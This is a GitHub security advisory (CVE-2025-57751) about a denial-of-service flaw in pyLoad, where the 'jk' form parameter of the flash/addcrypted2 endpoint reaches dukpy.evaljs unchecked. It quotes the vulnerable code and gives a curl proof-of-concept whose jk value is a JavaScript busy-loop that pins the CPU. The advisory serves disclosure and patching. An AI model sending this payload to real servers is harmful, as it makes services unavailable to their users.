GHSA-9gjj-6gj7-c4wj

Опубликовано: 21 авг. 2025

Источник: github

Github: Прошло ревью

CVSS4: 7.7

Описание

Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs

Dear Maintainers, I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.

Summary

The jk parameter is received in pyLoad CNL Blueprint. Due to the lack of jk parameter verification, the jk parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.

Details

Endpoint: flash/addcrypted2
affected file: https://github.com/pyload/pyload/blob/develop/src/pyload/webui/app/blueprints/cnl_blueprint.py#L123 https://github.com/pyload/pyload/blob/develop/src/pyload/core/utils/misc.py#L42

affected code

@bp.route("/flash/addcrypted2", methods=["POST"], endpoint="addcrypted2") @local_check def addcrypted2(): package = flask.request.form.get( "package", flask.request.form.get("source", flask.request.form.get("referer")) ) crypted = flask.request.form["crypted"] jk = flask.request.form["jk"] pack_password = flask.request.form.get("passwords") crypted = standard_b64decode(unquote(crypted.replace(" ", "+"))) jk = eval_js(f"{jk} f()")

def eval_js(script, es6=False): if sys.version_info < (3, 12): return (js2py.eval_js6 if es6 else js2py.eval_js)(script) else: return dukpy.evaljs(script)

PoC

download pyload and run locally, send the following request

curl -X POST "http://localhost:8000/flash/addcrypted2" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "crypted=SGVsbG8gd29ybGQ=" \ -d "passwords=pyload" \ -d "jk=const start = Date.now();%0Awhile (Date.now() - start < 30_000) {} //"

The 30_000 can be modified to any large value.

Impact

System resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.

Use the following command to check CPU usage

top -pid $(pgrep -f "pyload.__main__")

top -pid $(pgrep -f "pyload")

The CPU is fully occupied

web-ui unresponsive

Ссылки

Пакеты

Наименование

pyload-ng

pip

Затронутые версииВерсия исправления

< 0.5.0b3.dev92

0.5.0b3.dev92

EPSS

Процентиль: 12%

0.00042

Низкий

7.7 High

CVSS4

CVE ID

CVE-2025-57751

Дефекты

CWE-400

Связанные уязвимости

CVE-2025-57751

nvd

16 дней назад

pyLoad is the free and open-source Download Manager written in pure Python. The jk parameter is received in pyLoad CNL Blueprint. Due to the lack of jk parameter verification, the jk parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive. This vulnerability is fixed in 0.5.0b3.dev92.

CVE-2025-57751

debian

16 дней назад

pyLoad is the free and open-source Download Manager written in pure Py ...

EPSS

Процентиль: 12%

0.00042

Низкий

7.7 High

CVSS4

CVE ID

CVE-2025-57751

Дефекты

CWE-400